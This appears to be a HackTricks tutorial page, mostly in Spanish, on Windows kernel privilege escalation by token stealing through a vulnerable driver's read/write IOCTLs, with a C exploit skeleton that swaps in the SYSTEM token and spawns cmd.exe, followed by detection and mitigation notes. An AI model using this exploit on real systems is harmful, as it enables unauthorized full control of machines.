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# Windows kernel EoP: Token stealing with arbitrary kernel R/W
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{{#include ../../banners/hacktricks-training.md}}
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## Overview
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Si un driver vulnerable expone un IOCTL que da a un atacante primitivas de lectura y/o escritura arbitraria en el kernel, elevarse a NT AUTHORITY\SYSTEM a menudo puede lograrse robando un token de SYSTEM. La técnica copia el puntero Token desde el EPROCESS de un proceso SYSTEM al EPROCESS del proceso actual.
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Por qué funciona:
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- Cada proceso tiene una estructura EPROCESS que contiene (entre otros campos) un Token (en realidad un EX_FAST_REF a un objeto token).
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- El proceso SYSTEM (PID 4) posee un token con todos los privilegios habilitados.
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- Reemplazar EPROCESS.Token del proceso actual con el puntero de token de SYSTEM hace que el proceso actual se ejecute como SYSTEM de inmediato.
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> Los offsets en EPROCESS varían entre versiones de Windows. Determínalos dinámicamente (símbolos) o usa constantes específicas de versión. También recuerda que EPROCESS.Token es un EX_FAST_REF (los 3 bits menos significativos son banderas de conteo de referencias).
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## High-level steps
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1) Localiza la base de ntoskrnl.exe y resuelve la dirección de PsInitialSystemProcess.
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- Desde user mode, usa NtQuerySystemInformation(SystemModuleInformation) o EnumDeviceDrivers para obtener las bases de los drivers cargados.
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- Suma el offset de PsInitialSystemProcess (desde símbolos/reversing) a la base del kernel para obtener su dirección.
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2) Lee el puntero en PsInitialSystemProcess → este es un puntero del kernel al EPROCESS de SYSTEM.
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3) Desde el EPROCESS de SYSTEM, lee los offsets de UniqueProcessId y ActiveProcessLinks para recorrer la lista doblemente enlazada de estructuras EPROCESS (ActiveProcessLinks.Flink/Blink) hasta encontrar el EPROCESS cuyo UniqueProcessId equivale a GetCurrentProcessId(). Conserva ambos:
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- EPROCESS_SYSTEM (para SYSTEM)
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- EPROCESS_SELF (para el proceso actual)
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4) Lee el valor de token de SYSTEM: Token_SYS = *(EPROCESS_SYSTEM + TokenOffset).
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- Enmascara los 3 bits menos significativos: Token_SYS_masked = Token_SYS & ~0xF (comúnmente ~0xF o ~0x7 dependiendo del build; en x64 se usan los 3 bits bajos — máscara 0xFFFFFFFFFFFFFFF8).
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5) Opción A (común): Conserva los 3 bits bajos de tu token actual y pégalos al puntero de SYSTEM para mantener consistente el conteo de referencias embebido.
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- Token_ME = *(EPROCESS_SELF + TokenOffset)
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- Token_NEW = (Token_SYS_masked | (Token_ME & 0x7))
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6) Escribe Token_NEW de vuelta en (EPROCESS_SELF + TokenOffset) usando tu primitiva de escritura en kernel.
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7) Tu proceso actual ahora es SYSTEM. Opcionalmente inicia un nuevo cmd.exe o powershell.exe para confirmar.
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## Pseudocode
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Below is a skeleton that only uses two IOCTLs from a vulnerable driver, one for 8-byte kernel read and one for 8-byte kernel write. Replace with your driver’s interface.
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```c
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#include <Windows.h>
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#include <Psapi.h>
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#include <stdint.h>
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// Device + IOCTLs are driver-specific
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#define DEV_PATH "\\\\.\\VulnDrv"
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#define IOCTL_KREAD CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)
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#define IOCTL_KWRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_BUFFERED, FILE_ANY_ACCESS)
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// Version-specific (examples only – resolve per build!)
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static const uint32_t Off_EPROCESS_UniquePid = 0x448; // varies
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static const uint32_t Off_EPROCESS_Token = 0x4b8; // varies
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static const uint32_t Off_EPROCESS_ActiveLinks = 0x448 + 0x8; // often UniquePid+8, varies
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BOOL kread_qword(HANDLE h, uint64_t kaddr, uint64_t *out) {
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struct { uint64_t addr; } in; struct { uint64_t val; } outb; DWORD ret;
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in.addr = kaddr; return DeviceIoControl(h, IOCTL_KREAD, &in, sizeof(in), &outb, sizeof(outb), &ret, NULL) && (*out = outb.val, TRUE);
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}
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BOOL kwrite_qword(HANDLE h, uint64_t kaddr, uint64_t val) {
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struct { uint64_t addr, val; } in; DWORD ret;
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in.addr = kaddr; in.val = val; return DeviceIoControl(h, IOCTL_KWRITE, &in, sizeof(in), NULL, 0, &ret, NULL);
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}
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// Get ntoskrnl base (one option)
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uint64_t get_nt_base(void) {
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LPVOID drivers[1024]; DWORD cbNeeded;
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if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded >= sizeof(LPVOID)) {
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return (uint64_t)drivers[0]; // first is typically ntoskrnl
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}
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return 0;
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}
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int main(void) {
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HANDLE h = CreateFileA(DEV_PATH, GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
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if (h == INVALID_HANDLE_VALUE) return 1;
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// 1) Resolve PsInitialSystemProcess
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uint64_t nt = get_nt_base();
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uint64_t PsInitialSystemProcess = nt + /*offset of symbol*/ 0xDEADBEEF; // resolve per build
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// 2) Read SYSTEM EPROCESS
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uint64_t EPROC_SYS; kread_qword(h, PsInitialSystemProcess, &EPROC_SYS);
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// 3) Walk ActiveProcessLinks to find current EPROCESS
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DWORD myPid = GetCurrentProcessId();
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uint64_t cur = EPROC_SYS; // list is circular
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uint64_t EPROC_ME = 0;
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do {
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uint64_t pid; kread_qword(h, cur + Off_EPROCESS_UniquePid, &pid);
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if ((DWORD)pid == myPid) { EPROC_ME = cur; break; }
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uint64_t flink; kread_qword(h, cur + Off_EPROCESS_ActiveLinks, &flink);
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cur = flink - Off_EPROCESS_ActiveLinks; // CONTAINING_RECORD
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} while (cur != EPROC_SYS);
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// 4) Read tokens
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uint64_t tok_sys, tok_me;
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kread_qword(h, EPROC_SYS + Off_EPROCESS_Token, &tok_sys);
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kread_qword(h, EPROC_ME + Off_EPROCESS_Token, &tok_me);
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// 5) Mask EX_FAST_REF low bits and splice refcount bits
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uint64_t tok_sys_mask = tok_sys & ~0xF; // or ~0x7 on some builds
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uint64_t tok_new = tok_sys_mask | (tok_me & 0x7);
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// 6) Write back
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kwrite_qword(h, EPROC_ME + Off_EPROCESS_Token, tok_new);
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// 7) We are SYSTEM now
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system("cmd.exe");
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return 0;
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}
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```
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Notas:
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- Offsets: Usa `dt nt!_EPROCESS` de WinDbg con los PDBs del objetivo, o un cargador de símbolos en tiempo de ejecución, para obtener offsets correctos. No hardcodees ciegamente.
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- Mask: En x64 el token es un EX_FAST_REF; los 3 bits bajos son bits de contador de referencias. Conservar los bits bajos originales de tu token evita inconsistencias inmediatas en el refcount.
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- Stability: Prefiere elevar el proceso actual; si elevas un helper de corta vida puedes perder SYSTEM cuando termine.
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## Detection & mitigation
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- La carga de drivers de terceros no firmados o no confiables que exponen IOCTLs poderosos es la causa raíz.
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- Kernel Driver Blocklist (HVCI/CI), DeviceGuard, y las reglas de Attack Surface Reduction pueden impedir que se carguen drivers vulnerables.
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- EDR puede monitorizar secuencias de IOCTL sospechosas que implementen read/write arbitrario y los token swaps.
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## References
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- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
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- [FuzzySecurity – Windows Kernel ExploitDev (token stealing examples)](https://www.fuzzysecurity.com/tutorials/expDev/17.html)
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